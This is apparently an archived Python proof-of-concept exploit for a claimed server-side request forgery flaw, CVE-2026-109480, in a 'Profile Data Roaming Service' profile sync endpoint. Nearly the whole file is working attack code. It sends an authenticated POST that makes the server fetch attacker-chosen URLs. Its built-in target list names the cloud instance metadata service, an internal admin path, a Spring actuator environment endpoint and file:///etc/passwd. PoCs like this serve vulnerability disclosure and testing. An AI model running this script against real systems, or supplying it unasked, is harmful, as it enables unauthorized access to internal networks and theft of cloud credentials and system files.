# Archived for authorized security research only. # Source: https://github.com/cveForge/CVE-2026-109480 (see README for attribution/license) BANNER = """  ██████╗██╗ ██╗███████╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗███████╗ ██╔════╝██║ ██║██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔════╝ ██╔════╝██╔════╝ ██║ ██║ ██║█████╗ █████╗ ██║ ██║██████╔╝██║ ███╗█████╗ ███████╗ ██║ ╚██╗ ██╔╝██╔══╝ ██╔══╝ ██║ ██║██╔══██╗██║ ██║██╔══╝ ╚════██║ ╚██████╗ ╚████╔╝ ███████╗██║ ╚██████╔╝██║ ██║╚██████╔╝███████╗███████║ ╚═════╝ ╚═══╝ ╚══════╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚══════╝   CVE-2026-109480 — Profile Data Roaming Service (PDRS) SSRF — Internal Network Access via Profile Sync Endpoint  CVSS 9.6 | CRITICAL | CWE-918 | Profile Data Roaming Service (PDRS) """ VERSION = "1.0.0" import argparse, sys, json, urllib.request, urllib.error # PDRS SSRF PoC # CWE-918: Server-Side Request Forgery # Affected: Microsoft Profile Data Roaming Service (PDRS) — enterprise deployment # Impact: The /api/profile/sync endpoint accepts a "source_url" for profile # data import without validating the destination. An authenticated user # can trigger the server to fetch arbitrary internal URLs including # IMDS, internal APIs, and intranet resources. SSRF_TARGETS = [ "http://169.254.169.254/metadata/instance?api-version=2021-02-01", "http://10.0.0.1/admin", "http://localhost:8080/actuator/env", "file:///etc/passwd", ] def try_ssrf(base_url, bearer, target): url = f"{base_url.rstrip('/')}/api/profile/sync" body = json.dumps({"source_url": target, "format": "json"}).encode() req = urllib.request.Request(url, data=body, headers={ "Authorization": f"Bearer {bearer}", "Content-Type": "application/json", }, method="POST") try: with urllib.request.urlopen(req, timeout=12) as r: return r.status, r.read(2048).decode(errors="replace") except urllib.error.HTTPError as e: return e.code, e.read(512).decode(errors="replace") except urllib.error.URLError as e: return -1, str(e.reason) def main(): parser = argparse.ArgumentParser(description="CVE-2026-109480 PoC — PDRS SSRF") parser.add_argument("--url", required=True) parser.add_argument("--bearer", required=True) parser.add_argument("--target", default=SSRF_TARGETS[0]) args = parser.parse_args() print(BANNER) print(f"[*] Target SSRF URL: {args.target}") status, body = try_ssrf(args.url, args.bearer, args.target) vuln = status in (200,201) and len(body) > 10 print(f"{'[+] VULNERABLE' if vuln else f'[-] {status}'} — {body[:300]}") print("[*] Done.") if __name__ == "__main__": main()